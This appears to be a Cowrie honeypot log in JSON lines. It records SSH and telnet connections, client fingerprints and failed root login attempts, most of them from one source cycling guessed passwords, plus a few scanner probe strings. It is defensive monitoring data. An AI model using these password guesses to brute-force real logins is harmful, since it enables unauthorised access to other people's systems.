{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:15.152056Z","src_ip":"60.165.124.241","session":"935bacffdd06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell@2025","message":"login attempt [root/dell@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:15.879356Z","src_ip":"60.165.124.241","session":"935bacffdd06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.122389Z","src_ip":"60.165.124.241","session":"935bacffdd06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41328,"dst_ip":"10.17.0.5","dst_port":22,"session":"5345d1689459","protocol":"ssh","message":"New connection: 60.165.124.241:41328 (10.17.0.5:22) [session: 5345d1689459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.359668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.364286Z","src_ip":"60.165.124.241","session":"5345d1689459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.606540Z","src_ip":"60.165.124.241","session":"5345d1689459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.007405042648315,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.624696Z","src_ip":"198.58.117.211","session":"11d82fcf347b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":42534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f746c84807","protocol":"telnet","message":"New connection: 198.58.117.211:42534 (10.17.0.5:23) [session: a8f746c84807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.665078Z"}
{"eventid":"cowrie.login.failed","username":"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0","password":"","message":"login attempt [GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:17.670800Z","src_ip":"198.58.117.211","session":"a8f746c84807","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ake123","message":"login attempt [root/ake123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:18.350007Z","src_ip":"60.165.124.241","session":"5345d1689459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:19.597916Z","src_ip":"60.165.124.241","session":"5345d1689459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44328,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0e17362637","protocol":"ssh","message":"New connection: 60.165.124.241:44328 (10.17.0.5:22) [session: be0e17362637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:19.833886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:19.838982Z","src_ip":"60.165.124.241","session":"be0e17362637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:20.081640Z","src_ip":"60.165.124.241","session":"be0e17362637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123123..","message":"login attempt [root/Qq123123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:20.811761Z","src_ip":"60.165.124.241","session":"be0e17362637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.052341Z","src_ip":"60.165.124.241","session":"be0e17362637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa6173402908","protocol":"ssh","message":"New connection: 60.165.124.241:47054 (10.17.0.5:22) [session: fa6173402908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.291060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.298188Z","src_ip":"60.165.124.241","session":"fa6173402908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.540872Z","src_ip":"60.165.124.241","session":"fa6173402908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005388498306274,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.670317Z","src_ip":"198.58.117.211","session":"a8f746c84807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":42630,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b305a58ccaa","protocol":"telnet","message":"New connection: 198.58.117.211:42630 (10.17.0.5:23) [session: 2b305a58ccaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:22.712562Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Os@123456","message":"login attempt [root/Os@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:23.274280Z","src_ip":"60.165.124.241","session":"fa6173402908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:24.519964Z","src_ip":"60.165.124.241","session":"fa6173402908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49756,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4cb5d58d49f","protocol":"ssh","message":"New connection: 60.165.124.241:49756 (10.17.0.5:22) [session: c4cb5d58d49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:24.797315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:24.801936Z","src_ip":"60.165.124.241","session":"c4cb5d58d49f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:25.071730Z","src_ip":"60.165.124.241","session":"c4cb5d58d49f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sugipula!@#","message":"login attempt [root/Sugipula!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:25.855674Z","src_ip":"60.165.124.241","session":"c4cb5d58d49f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.115689Z","src_ip":"60.165.124.241","session":"c4cb5d58d49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52894,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5c7bbb3221","protocol":"ssh","message":"New connection: 60.165.124.241:52894 (10.17.0.5:22) [session: 9c5c7bbb3221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.327985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.333086Z","src_ip":"60.165.124.241","session":"9c5c7bbb3221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.573395Z","src_ip":"60.165.124.241","session":"9c5c7bbb3221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.003760814666748,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.716230Z","src_ip":"198.58.117.211","session":"2b305a58ccaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":56200,"dst_ip":"10.17.0.5","dst_port":23,"session":"7756e76071a7","protocol":"telnet","message":"New connection: 198.58.117.211:56200 (10.17.0.5:23) [session: 7756e76071a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.756020Z"}
{"eventid":"cowrie.login.failed","username":"b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x07c\\x84\\x00\\x00\\x00$\\x04\\x00'","password":"\u0001\u0000","message":"login attempt [b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x07c\\x84\\x00\\x00\\x00$\\x04\\x00'/\u0001\u0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:27.761965Z","src_ip":"198.58.117.211","session":"7756e76071a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd123","message":"login attempt [root/Qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:28.311957Z","src_ip":"60.165.124.241","session":"9c5c7bbb3221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:29.549479Z","src_ip":"60.165.124.241","session":"9c5c7bbb3221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55302,"dst_ip":"10.17.0.5","dst_port":22,"session":"527df67da9a7","protocol":"ssh","message":"New connection: 60.165.124.241:55302 (10.17.0.5:22) [session: 527df67da9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:29.787747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:29.800820Z","src_ip":"60.165.124.241","session":"527df67da9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:30.052564Z","src_ip":"60.165.124.241","session":"527df67da9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33095,"dst_ip":"10.17.0.5","dst_port":22,"session":"010ac3ca1a23","protocol":"ssh","message":"New connection: 168.167.228.74:33095 (10.17.0.5:22) [session: 010ac3ca1a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:30.776944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:30.781985Z","src_ip":"168.167.228.74","session":"010ac3ca1a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567Aa","message":"login attempt [root/1234567Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:30.806519Z","src_ip":"60.165.124.241","session":"527df67da9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:31.037549Z","src_ip":"168.167.228.74","session":"010ac3ca1a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.046570Z","src_ip":"60.165.124.241","session":"527df67da9a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@SSW0rd","message":"login attempt [root/p@SSW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.090949Z","src_ip":"168.167.228.74","session":"010ac3ca1a23","protocol":"ssh"}
